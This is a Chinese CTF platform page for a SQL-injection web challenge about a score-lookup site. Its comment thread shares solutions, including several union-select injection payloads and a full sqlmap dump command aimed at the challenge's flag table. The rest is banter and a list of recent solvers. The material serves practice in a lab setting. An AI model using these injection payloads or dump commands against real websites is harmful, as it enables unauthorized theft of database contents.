成绩查询WEB 未解决

分数: 25 金币: 2
题目作者: 未知
一  血: npfs
一血奖励: 1金币
解  决: 9805
提  示:
描  述:
来源山科大ctf
评论
lzh20030509 2年前

评论区yyds

回复 0

15305265925 2年前

id=-1' union select 1,2,group_concat(skctf_flag),4 from fl4g-- -

回复 1

xiaoxhw 2年前

利用”不显示“代表”报错“

回复 2

笨笨笨蛋 2年前

我sqlmap进入fl4g后查看内容压根没有flag,可是手工注入又有了,这是为什么?求一个大佬解释一下

回复 0
aWxvdmVjdGY 2年前

fl4g 是db,然后找table,在找cloumns,最后dump

回复 0

教练我要打亚索 2年前

先猜一下字段,我也是没猜字段直接取数据 没取到,需要先取一下字段 然后再来取数据

回复 0

笨笨笨蛋 2年前

有大佬用sqlmap做的吗?我想看看sqlmap怎么做这个题目

回复 0
摆烂选手 1年前

@charonzzw 阿巴阿巴,摆烂选手大眼瞪小眼,咋搞啊。有没有会的,哭了

回复 0

theonlypopcat 2年前

sqlmap --url="http://靶场地址/index.php" --data="id=1" -D skctf -T fl4g -C skctf_flag --dump

回复 0

charonzzw 2年前

用burp去抓包 然后copy to flie 形成txt文件,sqlmap去运行这个包 然后依次查库 表 列就出flag了

回复 1

秋刀鱼の丸 2年前

1' and 1=2 union select 1,2,3,skctf_flag from fl4g#

回复 1

jiangyou 2年前

http://t.csdn.cn/GCIkY

回复 1

Hobin 2年前

一个sqlmap就能完美解决

回复 0

MONSTEinCAT 2年前

鸡你太美

回复 1
阿厂 2年前

哎呦你干嘛

回复 0

肥肠粉 2年前

小黑子,哥哥下的蛋你别吃

回复 0

Sauexceed 2年前

小黑子

回复 0

yemur 2年前

id=-1' union select 1,2,3,skctf_flag from fl4g#

回复 0

WriteUp

image
harry

2 金币

评分(21)

解题动态

fenglingzi 攻破了该题 8小时前
是lwj 攻破了该题 9小时前
clearspring 攻破了该题 13小时前
402713793 攻破了该题 13小时前
LoadOverload 攻破了该题 13小时前
脚本萌新 攻破了该题 13小时前
wdyisdsb 攻破了该题 13小时前
19375083035 攻破了该题 14小时前
tx123432 攻破了该题 14小时前
13327252950 攻破了该题 14小时前
hh1111 攻破了该题 14小时前
2648662300 攻破了该题 14小时前
xxjjyy 攻破了该题 14小时前
荷湫情zero 攻破了该题 14小时前
19032886621 攻破了该题 14小时前
18817143007 攻破了该题 14小时前
llllly 攻破了该题 14小时前
杨驰坤 攻破了该题 14小时前
滞活幽门影 攻破了该题 14小时前
18975432965 攻破了该题 14小时前
问题反馈